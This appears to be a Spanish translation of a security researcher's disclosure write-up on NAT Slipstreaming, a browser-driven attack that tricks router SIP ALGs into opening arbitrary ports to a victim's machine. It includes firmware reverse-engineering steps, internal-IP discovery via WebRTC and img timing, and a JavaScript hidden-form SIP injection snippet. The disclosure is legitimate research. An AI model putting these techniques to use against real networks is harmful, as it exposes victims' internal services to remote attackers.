
NAT Slipstreaming permite a un atacante acceder de forma remota a cualquier servicio TCP/UDP vinculado a una máquina víctima, evadiendo el NAT/cortafuegos de la víctima, simplemente con que alguien en la red de la víctima visite un sitio web
NAT Slipstreaming permite a un atacante acceder remotamente a cualquier servicio TCP/UDP vinculado a cualquier sistema detrás del NAT de la víctima, evitando el NAT/cortafuegos de la víctima (control remoto arbitrario de agujeros en el cortafuegos), simplemente con que la víctima visite un sitio web.
v1 desarrollado por: @SamyKamkar // https://samy.pl
v2 desarrollado por: Samy Kamkar && (Ben Seri && Gregory Vishnipolsky of Armis).
Lea el excelente artículo técnico de Ben y Gregory sobre v2 aquí que profundiza en sus actualizaciones de v2 con muchos detalles adicionales.
v1 lanzado: 31 de octubre 👻, 2020
v2 lanzado: 26 de enero, 2021
Source code: https://github.com/samyk/slipstream
versión animada aquí generada con mi fork de draw.io, permitiendo flujo de contexto de borde exportable y control en animaciones
NAT Slipstreaming explota el navegador del usuario en conjunto con el mecanismo de seguimiento de conexiones de la Pasarela a Nivel de Aplicación (ALG) incorporado en NATs, routers y cortafuegos, encadenando extracción de IP interna mediante ataque de tiempo o WebRTC, descubrimiento remoto automatizado de MTU y fragmentación IP, manipulación del tamaño de paquetes TCP, uso indebido de autenticación TURN, control preciso de límites de paquetes y confusión de protocolos mediante abuso del navegador. Como es el NAT o cortafuegos quien abre el puerto de destino, esto evita cualquier restricción de puertos basada en el navegador.
Este ataque aprovecha el control arbitrario de la porción de datos de algunos paquetes TCP y UDP sin incluir cabeceras HTTP u otras; el ataque realiza esta nueva técnica de inyección de paquetes en todos los principales navegadores modernos (y antiguos), y es una versión modernizada de mi técnica original NAT Pinning de 2010 (presentada en DEFCON 18 + Black Hat 2010). Además, se incluyen nuevas técnicas para el descubrimiento de direcciones IP locales.
Este ataque requiere que el NAT/cortafuegos soporte ALG (Pasarelas a Nivel de Aplicación), que son obligatorias para protocolos que pueden usar múltiples puertos (canal de control + canal de datos) como SIP y H323 (protocolos VoIP), FTP, IRC DCC, etc.
A alto nivel, NAT Slipstreaming funciona así:
.local mDNS/Bonjour presentada no será útil para el ataque)img ocultas hacia todas las puertas de enlace comunes (por ejemplo, 192.168.0.1)onerror/onsuccess adjuntos a las etiquetas imgUsamos NATs (Traducción de Direcciones de Red) por varias razones. La característica más útil del NAT es que permite compartir una única dirección IP pública entre múltiples sistemas. Lo hace creando una red local, proporcionando direcciones IP locales a todas las máquinas que se conectan, y cuando uno de esos sistemas accede a Internet, reescribe los paquetes salientes para usar la IP pública, de modo que las respuestas vuelvan al NAT, y viceversa, reescribiendo la IP de destino a la IP del cliente específico.
Es responsabilidad del NAT diferenciar las conexiones a las mismas direcciones/puertos (google.com:443) desde hosts internos, ya que en última instancia su puerto de salida, IP de destino e IP de origen serán todos iguales. Si dos pares internos diferentes intentan conectarse desde el mismo puerto de origen, los NATs modernos alterarán uno de los puertos de origen (algunas redes hacen esto con todos los puertos de origen TCP/UDP).

De Wikipedia vía Wikiwand:``` One of the important features built on top of the Netfilter framework is connection tracking. Connection tracking allows the kernel to keep track of all logical network connections or sessions, and thereby relate all of the packets which may make up that connection. NAT relies on this information to translate all related packets in the same way, and iptables can use this information to act as a stateful firewall.
Si una máquina detrás de tu NAT envía un paquete saliente y tu router espera que el host remoto pueda responder, guarda información, específicamente los puertos de origen y destino, las direcciones IP de origen y destino, y tu IP interna, luego devuelve cualquier paquete que coincida de vuelta a tu IP interna.
Si otro host en tu LAN intenta hacer la misma conexión con los mismos puertos de origen y destino + IPs, tu NAT no podría diferenciarla (las IPs de origen son diferentes en tu LAN pero se reescriben a la misma IP pública en el lado WAN), por lo que altera el puerto de origen, pero lo reescribe al enviarlo de vuelta a ti.
### Gateway a Nivel de Aplicación
Los ALG permiten que la NAT rastree un protocolo multipuerto como FTP para que salga de tu sistema hacia un servidor FTP, y luego, cuando solicitas que se envíe un archivo a tu IP interna en un puerto específico, el ALG puede reescribir el paquete para incluir tu IP pública y luego reenviar la conexión del servidor FTP de vuelta a ti. Si no hubiera reescrito tu IP, el servidor FTP intentaría conectarse de vuelta a ti en tu IP interna (o ni siquiera lo intentaría si espera que la IP de origen sea la misma que la de la conexión de señalización).
De [Wikipedia](https://www.wikiwand.com/en/Application-level_gateway):```
In the context of computer networking, an application-level
gateway consists of a security component that augments a
firewall or NAT employed in a computer network. It allows
customized NAT traversal filters to be plugged into the
gateway to support address and port translation for certain
application layer "control/data" protocols such as FTP,
BitTorrent, SIP, RTSP, file transfer in IM applications, etc.
In order for these protocols to work through NAT or a
firewall, either the application has to know about an address/
port number combination that allows incoming packets, or the
NAT has to monitor the control traffic and open up port
mappings (firewall pinhole) dynamically as required.
Legitimate application data can thus be passed through the
security checks of the firewall or NAT that would have
otherwise restricted the traffic for not meeting its limited
filter criteria.
Primero me gustaría ver cómo las puertas de enlace comunes tratan realmente los paquetes y los protocolos multipuerto como FTP, SIP, etc. Para ello, querremos realizar ingeniería inversa del firmware de routers comunes. Podríamos extraer la memoria flash de routers físicos, sin embargo, si podemos obtener firmware sin cifrar de los fabricantes, podremos investigar más modelos de routers y mucho más rápido.
Comenzaremos con un router común, el Netgear Nighthawk R7000. Una búsqueda rápida nos ayuda a encontrar un artículo de Netgear con firmware reciente. Una vez que descargamos el firmware y lo descomprimimos, encontramos un archivo de 30 MB llamado R7000-V1.0.9.64_10.2.64.chk.```sh tigerblood:~c/ng$ wget http://www.downloads.netgear.com/files/GDC/R7000/R7000-V1.0.9.64_10.2.64.zip --2019-05-19 19:21:13-- http://www.downloads.netgear.com/files/GDC/R7000/R7000-V1.0.9.64_10.2.64.zip Resolving www.downloads.netgear.com (www.downloads.netgear.com)... 104.69.65.243 Connecting to www.downloads.netgear.com (www.downloads.netgear.com)|104.69.65.243|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 31705064 (30M) [application/zip] Saving to: ‘R7000-V1.0.9.64_10.2.64.zip’
R7000-V1.0.9.64_10.2.64.zip 100%[=============================================>] 30.24M 6.25MB/s in 11s
2019-05-19 19:21:24 (2.83 MB/s) - ‘R7000-V1.0.9.64_10.2.64.zip’ saved [31705064/31705064]
tigerblood:~c/ng$ unzip R7000-V1.0.9.64_10.2.64.zip Archive: R7000-V1.0.9.64_10.2.64.zip extracting: R7000-V1.0.9.64_10.2.64.chk inflating: R7000-V1.0.9.64_10.2.64_Release_Notes.html tigerblood:~c/ng$ file R7000-V1.0.9.64_10.2.64.chk R7000-V1.0.9.64_10.2.64.chk: data tigerblood:~c/ng$ ls -lh R7000-V1.0.9.64_10.2.64.chk -rw-r--r-- 1 samy staff 30M Mar 26 11:46 R7000-V1.0.9.64_10.2.64.chk

El comando `file` no detecta ninguna [información mágica](https://www.wikiwand.com/en/Magic_number_(programming)), por lo que podemos usar [`binwalk`](https://github.com/ReFirmLabs/binwalk) para escanear el archivo en busca de datos anidados.```sh
tigerblood:~c/ng$ binwalk R7000-V1.0.9.64_10.2.64.chk
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
58 0x3A TRX firmware header, little endian, image size: 31703040 bytes, CRC32: 0xBEF1BB2F, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21E3F0, rootfs offset: 0x0
86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5436416 bytes
2221098 0x21E42A Squashfs filesystem, little endian, version 4.0, compression:xz, size: 29475437 bytes, 1988 inodes, blocksize: 131072 bytes, created: 2018-12-26 04:15:38

Uso macOS y binwalk depende de algunas aplicaciones de Linux de fábrica, lo que causaría que binwalk -e (que extrae archivos) falle, por lo que extraigo manualmente (y yo <3 perl golf).```sh
tigerblood:~c/ng$ perl -ne'$@.=$_}{print+substr$@,2221098' R7000-V1.0.9.64_10.2.64.chk > squash.fs
O usa [`inout`](https://github.com/samyk/samytools/blob/master/inout), por ejemplo `inout R7000-V1.0.9.64_10.2.64.chk 2221098`.
Podrías usar `dd`, sin embargo querrías un `bs` (tamaño de bloque) grande para que produzca la salida rápidamente, por ejemplo 1024, sin embargo el atributo `skip` (para indicarle que comience en la ubicación del blob squashfs) respetaría el tamaño de bloque y 2221098 no es obviamente divisible por nada rápidamente en mi cabeza excepto 2... ahora tengo curiosidad.```sh
tigerblood:~c/ng$ time dd if=R7000-V1.0.9.64_10.2.64.chk skip=$((2221098/2)) bs=2 of=squash.fs2
14741000+0 records in
14741000+0 records out
29482000 bytes transferred in 78.363403 secs (376222 bytes/sec)
real 1m18.385s
user 0m12.553s
sys 1m4.451s
Ahora desempaquemos el sistema de archivos squash. He creado un fork de un fork de squashfs-tools que funciona en macOS y tiene soporte para lzo. También puede que necesites instalar xz y lzo. Alternativamente, podrías usar sasquatch en Linux.```sh
tigerblood:~c/ng$ sudo port install xz lzo
...
tigerblood:~c/ng$ git clone https://github.com/samyk/squashfs-tools && cd squashfs-tools/squashfs-tools && make && sudo make install && cd ../..
Y finalmente podemos desempaquetar el squash fs.```sh
tigerblood:~c/ng$ unsquashfs -l -no squash.fs
Parallel unsquashfs: Using 8 processors
1881 inodes (2535 blocks) to write
squashfs-root
squashfs-root/bin
squashfs-root/bin/addgroup
... (many more files) ...
tigerblood:~c/ng$ cd squashfs-root && ls
bin data dev etc lib media mnt opt proc sbin share sys tmp usr var www
Ahora tenemos el sistema operativo sin procesar para explorar.
Ahora veamos si podemos encontrar algún archivo relevante para FTP, ya que era un protocolo muy utilizado, por lo que el soporte ALG será rampante en los routers. Utilizo mi g tool, que es simplemente un envoltorio conveniente alrededor de egrep.```sh
tigerblood:~c/ng/squashfs-root$ find . | g ftp
./usr/bin/tftp
./usr/sbin/bftpd
./usr/sbin/ftp
./usr/sbin/ftpc
./usr/etc/sftp-ssh.service
Nada interesante, así que busquemos con `g` archivos binarios cuyo contenido coincida con /ftp/, ignorando algunos archivos que no nos importan.```sh
tigerblood:~c/ng/squashfs-root$ g -la ftp -v '\.(html?|js|gif)$|www/|bin/'
lib/libsmbd-base-samba4.so
lib/libavformat.so.55
lib/libavutil.so.52
lib/libavcodec.so.55
lib/modules/tdts.ko
lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko
lib/libcrypto.so.1.0.0
opt/xagent/certs/ca-bundle-mega.crt
usr/etc/sftp-ssh.service
usr/lib/libnvram.so
usr/lib/libcurl.a
usr/lib/libcurl.so.4.3.0
usr/lib/libcurl.so
usr/share/avahi/service-types
usr/share/libcrypto.so.1.0.0
g escanea recursivamente el directorio de trabajo actual por defecto. -l es para imprimir solo los nombres de archivo (ya que estos serán mayormente binarios), -a para escanear archivos binarios, ftp para el texto a coincidir, y -v '\.(html?|js|gif)$|www/|bin/' para ignorar archivos web y ejecutables (ubicados en (s)bin/).
Cualquier archivo lib/lib*.{a,so}{.*,} (formato bash) no es interesante, así que escaneemos de nuevo con less:```sh
tigerblood:~c/ng/squashfs-root$ g -la ftp -v '.(html?|js|gif)$|www/|bin/|lib.*.(so|a)(.|$)'
lib/modules/tdts.ko
lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko
opt/xagent/certs/ca-bundle-mega.crt
usr/etc/sftp-ssh.service
usr/share/avahi/service-types
### Explorando funciones potencialmente útiles
Bien, dos archivos de interés -- `lib/modules/tdts.ko` podría estar relacionado, y `lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko` probablemente no está relacionado pero suena interesante. ¡Quizás investigue eso más tarde.```sh
tigerblood:~c/ng/squashfs-root$ file lib/modules/tdts.ko
lib/modules/tdts.ko: ELF 32-bit LSB relocatable, ARM, EABI5 version 1 (SYSV), BuildID[sha1]=0aa35748e245e60273ceb5a48641e424d069235b, not stripped
tigerblood:~c/ng/squashfs-root$ strings lib/modules/tdts.ko | g ftp
ftp_decoder_open
ftp_decoder_close
ftp_decode_epsv_resp
ftp_decode_eprt_cmd
ftp_decode_pasv_resp
ftp_decode
ftp_decode_port_cmd
ftp_decoder
check_ftp_ft_rule
¡Genial! Un objeto del kernel (.ko) con funciones ftp, y con palabras como "port", probablemente esté relacionado con un ALG de FTP. El FTP RFC 959 explica el significado del comando PORT:```
DATA PORT (PORT)
The argument is a HOST-PORT specification for the data port to be used in data connection. There are defaults for both the user and server data ports, and under normal circumstances this command and its reply are not needed. If this command is used, the argument is the concatenation of a 32-bit internet host address and a 16-bit TCP port address. This address information is broken into 8-bit fields and the value of each field is transmitted as a decimal number (in character string representation). The fields are separated by commas. A port command would be: PORT h1,h2,h3,h4,p1,p2 where h1 is the high order 8 bits of the internet host address.
### Puertos / Servicios a Investigar
Si bien hemos encontrado algunas funciones FTP, estamos más interesados en puertos que podamos usar. Los navegadores modernos impiden las conexiones HTTP(S) salientes a varios [puertos restringidos](https://github.com/samyk/chromium/blob/2d57e5b8afc6d01b344a8d95d3470d46b35845c5/net/base/port_util.cc#L20-L90), incluyendo FTP, por lo que abusar del ALG FTP probablemente no sea viable.
En 2010, cuando [demostré por primera vez NAT Pinning](https://samy.pl/natpin/), usé el puerto 6667 (IRC) mediante los mensajes DCC CHAT/FILE. Rápidamente, los fabricantes de navegadores bloquearon el puerto 6667... aunque algunos usaban un uint32 (entero sin signo de 32 bits) para almacenar el puerto, verificar si el puerto estaba bloqueado y, si no, conectar. Para evadir esto, es importante notar que los puertos TCP son de 16 bits, por lo que si se suma 2**16 (65536) al puerto "restringido" elegido, en este caso 65536+6667=72203, el navegador almacenaría 72203, pasaría la restricción de puerto (72203 != 6667), luego se enviaría a la pila TCP donde se truncaría a 16 bits, ¡que es el puerto restringido que queríamos!
Mi simple [`calculadora base, 3`](https://github.com/samyk/samytools/blob/master/3) muestra esto (db = dec -> bin):```sh
tigerblood:/Users/samy/d$ 3 db 65536 6667 65536+6667
000000010000000000000000
000000000001101000001011
000000010001101000001011
Podemos verlo mejor usando mi herramienta diffbits, una herramienta simple para ver similitudes y diferencias entre cadenas de bits, así como entre múltiples grupos de cadenas de bits, útil para realizar ingeniería inversa de protocolos binarios propietarios.

Adelante, abre tu desensamblador de preferencia. Yo he usado Ghidra de nuestros amigos en la NSA ya que es gratuito y de código abierto.
Algunas de las funciones que vimos en tdts.ko mediante strings fueron ftp_decode y ftp_decoder, por lo que es posible que otros ALGs tengan una función _decode. Echemos un vistazo...

Bien, un montón de funciones _decode... desplazándonos hacia abajo, una interesante es sip_decode.

Revisando nuestros puertos restringidos del navegador, vemos que el puerto 5060, el puerto SIP por defecto, no está restringido en Chrome :)
SIP reside en TCP/UDP 5060, pero los medios como RTP (audio) se envían en puertos alternativos que se generan sobre la marcha. Al enviar una solicitud para una llamada SIP, tu cliente SIP elige un puerto aleatorio, lo abre y lo incluye en la cabecera SIP. Tu NAT también debería verlo y abrirlo, asumiendo que el ALG SIP está habilitado (y está en la mayoría de los routers por defecto).
Asumiendo que los NAT leen los paquetes SIP línea por línea (SIP está basado en saltos de línea como HTTP y no es un protocolo binario), tal vez ignore la cabecera HTTP y una vez que llegue a los datos POST, lea el REGISTER y crea que es un paquete SIP. Esto funcionó en nuestra versión de 2010 para el IRC DCC. El NAT ignoró la cabecera HTTP y simplemente analizó el comando IRC DCC.
Lo curioso es que esto también nos permitió hacer que los usuarios que visitaban nuestro sitio se conectaran a un servidor IRC legítimo, se unieran a un canal y enviaran un mensaje desde su IP sin que ellos lo supieran! :P Demostré esta técnica para enviar correos electrónicos a servidores de correo con direcciones IP de clientes antes de que el puerto 25 fuera bloqueado por los navegadores y antes de que los registros SPF fueran comunes... una locura.
Ahora, en una prueba rápida, enviar un paquete SIP REGISTER a través del puerto 5060 mediante un HTTP POST no parece funcionar... quizás nos falta algo del paquete.```javascript // our sip message var sipmsg = 'REGISTER sip:samy.pl;transport=TCP SIP/2.0\r\n' + 'Contact: sip:[email protected]:1234;transport=TCP\r\n\r\n'
// load form in an iframe so user doesn't see it var iframe = document.createElement('iframe') iframe.name = 'iframe' iframe.style.display = 'none' // hide the iframe
// create form var form = document.createElement('form') form.setAttribute('target', 'iframe') // load into iframe form.setAttribute('method', 'POST') // need the POST area where we can add CRLFs form.setAttribute('action', 'http://samy.pl:5060') // "http" server on SIP port 5060 form.setAttribute('enctype', 'multipart/form-data') // ensure our data doesn't get encoded
var textarea = document.createElement('textarea') textarea.setAttribute('name', 'textname') // required textarea.innerHTML = sipmsg form.appendChild(textarea) document.body.appendChild(iframe) document.body.appendChild(form) form.submit()
Si olfateamos, vemos (analizado mediante [`h2b`](https://github.com/samyk/samytools/blob/master/h2b)):```sh
$ unbuffer tcpdump -X port 5060 | h2b
POST / HTTP/1.1
Host: samy.pl:5060
Connection: keep-alive
Content-Length: 191
Cache-Control: max-age=0
Origin: http://samy.pl
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhcoAd2iSAx3TJA7A
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://samy.pl/o/sp.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
------WebKitFormBoundaryhcoAd2iSAx3TJA7A
Content-Disposition: form-data; name="textname"
REGISTER sip:samy.pl;transport=TCP SIP/2.0
Contact: <sip:[email protected]:1234;transport=TCP>
------WebKitFormBoundaryhcoAd2iSAx3TJA7A--
Sin embargo, esto no abre el puerto, ni se reescribe la IP como esperaríamos (más sobre esto más adelante), por lo que debemos estar perdiendo algo.
Sigamos indagando en el objeto del kernel. En el desensamblado, vemos la etiqueta "SIP/2.0" de un paquete SIP, por lo que probablemente se esté analizando aquí (lo que "decode" sugiere).

Ah, por esto fallamos. Parece que está ejecutando strncasecmp en INVITE (análisis similar en REGISTER) — comparando (sin distinción de mayúsculas/minúsculas, lo cual es interesante ya que los SIP INVITE están en mayúsculas) la palabra "INVITE" al inicio del paquete y bifurca si no es igual (instrucción ARM bne) a 0, por lo que si las palabras coinciden, el orden lexicográfico será 0 y continuaremos a ct_sip_get_header que suena divertido, y parece que aborta en caso contrario.
Este es el problema... aunque podemos usar un navegador web para producir sockets salientes (TCP vía HTTP(S), UDP vía TURN con WebRTC), no tenemos suficiente control sobre el navegador para iniciar la porción de datos TCP con la palabra "INVITE", que es lo que espera este módulo. En la versión IRC de 2010, el ALG de IRC solo revisaba línea por línea, ignorando todos los datos del encabezado HTTP, y luego usaba saltos de línea en los datos POST para enviar un "IRC DCC" válido. Sin embargo, este ALG SIP es mucho más estricto y no es posible controlar el inicio de la solicitud. Si se usa TLS, el encabezado cifrado comenzará el paquete. Si se usa HTTP, el método HTTP comenzará el paquete (GET, POST, etc.). ¿Podemos explotar esto de alguna otra manera?
Para entender mejor el rastreo de conexiones y los Gateways a Nivel de Aplicación, podemos observar cómo se comportan en netfilter, la pila de red de Linux. He creado un gráfico de los ALGs más comunes y cómo se comportan basado en el análisis del código fuente de Linux.

De este gráfico, los más interesantes (que Chrome no bloquea) son sane (respaldo), sip (voip), pptp (vpn) y h323 (voip). Elegiremos SIP ya que es uno de los más ubicuos de estos protocolos, y ya lo vemos en el firmware de algunos routers.
Linux específicamente tiene archivos nf_conntrack_*.c para manejar el rastreo de conexiones por protocolo, y nf_nat_*.c para la manipulación (modificación) de paquetes.
Echemos un vistazo rápido al módulo de rastreo de conexiones SIP
module_init(nf_conntrack_sip_init) inicializa este rastreador de conexiones, llamando a nf_conntrack_sip_initnf_ct_helper_init(...AF_INET, IPPROTO_TCP, "sip", SIP_PORT...) esperamos que la señalización llegue desde IPv4 AF_INET TCP IPPROTO_TCP puerto 5060 SIP_PORT... esto ocurre para UDP, TCP, IPv4 e IPv6sip_help_tcp(...) se llama cuando llega un paquete TCP SIP coincidente
process_sip_msg(...) si parece un posible paquete SIP
Hasta donde sabemos, no podemos hacer que el navegador fuerce una conexión TCP saliente con el tráfico que queramos, y es necesario que creemos un paquete TCP/UDP que comience con un método SIP como REGISTER o INVITE.
Flash solía permitir sockets salientes, pero en un formato sobre el que no teníamos control total. Java requiere permiso. WebSockets siguen siendo HTTP. TLS está cifrado. WebRTC (RFC 7742) está cifrado. STUN (RFC 3489) y TURN (RFC 5766) tienen formatos fijos, y TURNS (RFC 7065) está cifrado.
A alto nivel, no podemos controlar el inicio del paquete TCP, pero ¿qué pasa si enviamos un paquete demasiado grande? Debe haber un tamaño máximo de paquete... en cuyo punto, un paquete debe fragmentarse en múltiples paquetes. Si podemos desbordar el tamaño del paquete TCP y controlar con precisión parte de los datos, ¿podríamos causar una segmentación del paquete y que nuestros datos estén al inicio de nuestro siguiente paquete desbordado?
Bueno, necesitaríamos saber cuántos datos enviará el navegador, lo cual variará según el navegador, e incluso por usuario, ya que pueden enviar diferentes encabezados HTTP. HTTPS no funcionará porque la mayor parte del contenido está cifrado, mientras que un HTTP POST nos permite controlar una gran parte del encabezado.
Para obtener el tamaño general del paquete, enviamos un HTTP POST grande (6000 bytes) con un ID y datos de relleno mediante un formulario web oculto a nuestro http://our.attack.server:5060/pktsize. En el servidor de ataque, ejecutamos un sniffer de paquetes que busca los límites de nuestro paquete para determinar el tamaño MTU (Unidad Máxima de Transmisión), el tamaño del encabezado IP, las posibles opciones IP, el tamaño del encabezado TCP, las posibles opciones TCP, el tamaño del paquete de datos y qué porción del paquete controlamos.
También ejecutamos un servidor personalizado que escucha en el puerto TCP 5060, y responde con tráfico HTTP para apaciguar al navegador y que nada parezca sospechoso en el lado del cliente (un servidor con una respuesta mal formada causaría errores en la consola, o un servidor que respondiera incorrectamente mantendría el indicador de carga activo).

Además, intentamos controlar el tamaño de los datos del paquete TCP enviando una opción TCP de Tamaño Máximo de Segmento (mss) durante la respuesta SYN inicial para manipular los tamaños de los paquetes salientes de la víctima (RFC 793 x3.1). Esto le indica a la máquina víctima que mantenga los paquetes TCP en un tamaño determinado.

Puedes hacer esto en Linux agregando advmss <size> a ip route. Usaremos 1500.```sh
ip route replace default via [gateway] dev eth0 advmss 1500
Una vez que recibimos los paquetes, enviamos los datos de tamaño de vuelta al cliente víctima a través de un POST separado, que envió el ID de la víctima para que podamos correlacionarlo con la solicitud original de la víctima. En este punto, el cliente tiene una buena idea de cómo rellenar paquetes para causar que datos arbitrarios lleguen a una ubicación específica en un paquete TCP.
### Fragmentación IP con UDP y TURN
Algunos NAT solo permiten acceder a puertos UDP si la conexión SIP fue originalmente UDP, por lo que usamos TURN en este caso. TURN es un protocolo que soporta retransmisión para comunicación peer-to-peer como SIP y WebRTC. TURN es UDP mientras que TURNS (TURN+TLS) es TCP. Los navegadores modernos soportan TURN para WebRTC en caso de que no puedan establecer una conexión directa peer-to-peer entre sí para compartir medios.
TURN permite la autenticación mediante nombre de usuario y contraseña; el nombre de usuario se envía en texto claro. Curiosamente, el nombre de usuario no está limitado por tamaño ni caracteres, por lo que podemos usar esto para realizar el mismo tipo de desbordamiento de paquetes.
Dado que TURN es sobre UDP, el propio paquete IP se fragmentará si se desborda el tamaño MTU (UDP no soporta segmentación). ¡El segundo paquete tendrá no solo la porción de datos bajo nuestro control, sino también el encabezado UDP! Esto no es importante para nuestro ataque, pero es interesante y definitivamente puede producir ataques alternativos. En última instancia, podemos realizar el mismo ataque a través de UDP alineando nuestro límite de paquete basado en el tamaño MTU calculado en lugar del tamaño MSS, haciendo que nuestro paquete SIP UDP viva en el límite del segundo paquete (con un encabezado UDP falso antepuesto) permitiéndonos reenviar puertos UDP de vuelta a nuestra víctima.
## Ataque de Temporización TCP / Descubrimiento de Subred Interna y Dirección IP
¡Oh, esto todavía no funcionará! Para que el ALG lo trate como un paquete SIP legítimo, la dirección IP a la que solicitas que los datos regresen (en la línea SIP [`Contact`](https://tools.ietf.org/html/rfc2543#section-6.13)) debe ser la IP interna (víctima) de la que provino el paquete SIP, la cual desconocemos. Solo la dirección IP pública del router se transmite a nuestro servidor (ya que el NAT reescribe la IP fuente cuando sale por el lado público).
Vemos esta comprobación en el [process\_sip\_request](https://github.com/samyk/linux/blob/ea2cec24c8d429ee6f99040e4eb6c7ad627fe777/net/netfilter/nf_conntrack_sip.c#L1260) de `nf_conntrack_sip.c` de Linux:

En [2010](https://samy.pl/natpin/), usamos [LiveConnect](https://developer.mozilla.org/en-US/docs/Archive/Web/LiveConnect) que permitía ejecutar código Java bajo ciertas condiciones desde Javascript, extrayendo la IP local del usuario. Eso se volvió obsoleto rápidamente.
En algunos navegadores (Chrome, Firefox), podemos usar [WebRTC](https://www.w3.org/TR/webrtc/) para obtener la dirección IP interna de la víctima a través de [ICE](https://tools.ietf.org/html/rfc5245) (que simplemente usan STUN/TURN/TURNS). Estos son protocolos para ayudar a pares detrás de NATs a determinar información sobre sí mismos. Irónicamente, no es necesario usar ningún servidor en la "solicitud" ICE, ya que el navegador ya conoce su IP interna, y un servidor STUN/TURN remoto no la sabría de todos modos a menos que el cliente la enviara en primer lugar. El problema es que no todos los navegadores proporcionan este mecanismo.
A día de hoy, usar WebRTC para obtener la dirección IP local en Chrome, en lugar de una dirección `.local` mDNS/Bonjour, requiere usar HTTPS, pero HTTP es necesario para el resto de los ataques, por lo que primero detectamos si estamos en HTTP y si no, redirigimos a HTTPS. Luego intentamos usar WebRTC para extraer la dirección IP local. De cualquier manera, luego redirigimos de vuelta a HTTP con la(s) IP(s) añadidas a la URL para eludir las restricciones de origen cruzado mediante otros métodos de comunicación.
### Ataque de Temporización
Si se usa Safari, IE <= 11 u otros que no soportan WebRTC o intencionalmente no revelan la IP interna (Safari), podemos usar un ataque de temporización web para revelar la dirección IP interna de la víctima.
Logramos esto produciendo primero etiquetas HTML `` ocultas en la página, todas dirigidas a puertas de enlace comunes (192.168.*.1, 10.0.0.1 y [otros](https://github.com/samyk/slipstream/blob/main/server#L159)), junto con eventos Javascript `onsuccess` y `onerror`. Cada vez que se escribe una img en la página, se inicia un temporizador y si se carga `onsuccess`, significa que la IP respondió con un servidor web, y si no hay un servidor web ejecutándose pero la IP está en la red, enviará un TCP RST (reinicio, que significa puerto no abierto) de vuelta, activando `onerror`. Si no existe IP, no se envía RST y la respuesta tomará > 1 segundo, momento en el que sabemos que la IP no existe en nuestra red.
Una vez que vemos que se activa uno de estos eventos, conocemos una posible subred interna en la que estamos, luego realizamos el mismo ataque para cada IP en la subred (por ejemplo, 192.168.0.[2-255]), y esta vez realizamos una temporización más precisa para determinar qué IP responde **más rápido**. Esta es muy probablemente nuestra propia IP interna (víctima), ya que ni siquiera necesitamos salir de la interfaz de red. Incluso si no somos los primeros por alguna razón, aún intentamos nuestro ataque en todas las IPs que respondieron en la red.
## Confusión de Protocolo del Navegador
Una vez que el cliente obtiene los tamaños de paquete y la dirección IP interna, construye un formulario web especialmente manipulado que rellena los datos POST hasta que creamos que el paquete se fragmentará, momento en el que se añade nuestro SIP REGISTER que contiene la dirección IP interna. El formulario se envía mediante Javascript sin consentimiento de la víctima. :)
[](img/pinpkt.png)
### Alteración de Paquete en Vivo en el Navegador
En nuestro servidor de ataque, como podemos ver los paquetes entrantes, comprobamos si el paquete SIP fue reescrito con la dirección IP pública. Si no fue así, comunicamos al cliente (automáticamente) que el paquete SIP no estaba en el límite de paquete esperado y no fue reescrito, y proporcionamos la nueva posición del límite desde nuestro sniffer.
El código del cliente ajusta automáticamente su tamaño de paquete al nuevo tamaño solo después de dos fallos consecutivos. Algunos navegadores (Firefox) a veces tienen un tamaño de paquete ligeramente diferente debido al límite multipart que generan para el formulario, que a diferencia de la mayoría de los otros navegadores, no tiene una longitud fija. Encuentro que después de unos 10 intentos, se usará el mismo tamaño y el ataque tendrá éxito.
Una vez que el paquete SIP aterriza en el límite del paquete, el NAT será engañado, creyendo que se trata de un registro SIP legítimo y de un cliente SIP en la máquina de la víctima. Una vez que nuestro servidor responde con una respuesta SIP adecuada (anidada dentro de una respuesta HTTP adecuada para que el navegador no detecte nada sospechoso), el NAT abrirá el puerto en el paquete original que hicimos enviar a la víctima y el router **reenviará cualquier puerto que el atacante elija de vuelta a la víctima interna, todo por simplemente navegar a un sitio web**.
Ataque completo. El atacante ahora puede conectarse a servicios TCP/UDP arbitrarios que se ejecutan en la víctima.
# Otros Hallazgos
Estos no se utilizan en este ataque, pero son interesantes de todos modos y podrían usarse potencialmente para otros ataques.
- La fragmentación IP permite el control total de todos los datos en la sección de datos IP, lo que significa control total de un encabezado UDP, incluidos los puertos origen/destino en el paquete desbordado
- La pila IP de la víctima reensambla y no analizará los datos, sin embargo, el NAT a través del cual fluye el paquete será susceptible
- Permite eludir el firewall del navegador o del sistema, ya que el único puerto UDP que se inspecciona es el paquete original, no el paquete fragmentado desbordado
- DoS a un cliente SIP enviando `Expires: 0` y eliminando el conntrack de otra persona
- Si un puerto ya está ocupado, el puerto escuchado se incrementa hasta que el puerto se desborda a 0
- STUN no tiene autenticación implementada en ningún navegador moderno
# Descarga
¡Gracias por leer! Puedes descargar el código de prueba de concepto desde mi [NAT Slipstream github](https://github.com/samyk/slipstream).
# Contacto
**Punto de Contacto:** [@SamyKamkar](https://twitter.com/samykamkar)
Encuentra más de mis proyectos en <https://samy.pl> o potencialmente contáctame en <[email protected]>.
username de TURN rellenado
